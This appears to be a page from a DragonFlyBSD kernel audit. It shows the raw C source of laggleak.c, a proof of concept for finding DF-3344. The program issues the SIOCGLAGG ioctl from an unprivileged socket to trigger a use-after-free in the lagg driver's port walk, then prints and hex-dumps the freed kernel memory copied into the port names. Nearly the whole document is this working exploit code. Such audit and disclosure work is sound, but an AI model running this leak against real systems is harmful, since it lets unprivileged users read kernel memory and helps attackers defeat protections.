⬢ DragonFlyBSD Kernel Audit
DF-3344 / laggleak.c
← back to finding ↓ download raw
/*
 * laggleak.c - unprivileged SIOCGLAGG port-table dump for DF-3344.
 *
 * Opens an ordinary UDP socket and issues SIOCGLAGG on lagg0 (a read-only
 * ioctl: no privilege check in lagg_ioctl). After a member interface has
 * been destroyed, the lagg still walks sc_ports and calls
 * lagg_port2req() -> strlcpy(rp->rp_portname, lp->lp_ifp->if_xname, ...)
 * on the FREED member ifnet: whatever bytes now occupy the freed
 * tap_softc slab are copied out to us.
 *
 * Usage: ./laggleak [laggif]
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/lagg/if_lagg.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <err.h>

static void
hexname(const char *p)
{
	int i;
	printf("        rp_portname hex: ");
	for (i = 0; i < IFNAMSIZ; i++)
		printf("%02x ", (unsigned char)p[i]);
	printf("\n");
}

int
main(int argc, char **argv)
{
	const char *ifname = argc > 1 ? argv[1] : "lagg0";
	struct lagg_reqport buf[LAGG_MAX_PORTS];
	struct lagg_reqall ra;
	int s, i;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	memset(&ra, 0, sizeof(ra));
	memset(buf, 0, sizeof(buf));
	strlcpy(ra.ra_ifname, ifname, sizeof(ra.ra_ifname));
	ra.ra_size = sizeof(buf);
	ra.ra_port = buf;

	if (ioctl(s, SIOCGLAGG, &ra) != 0)
		err(1, "SIOCGLAGG");

	printf("lagg %s proto=%u ports=%u\n", ifname, ra.ra_proto, ra.ra_ports);
	for (i = 0; i < ra.ra_ports && i < LAGG_MAX_PORTS; i++) {
		printf("  port[%d]: ifname='%s' portname='%s' prio=%u flags=0x%x\n",
		    i, buf[i].rp_ifname, buf[i].rp_portname,
		    buf[i].rp_prio, buf[i].rp_flags);
		hexname(buf[i].rp_portname);
	}
	return (0);
}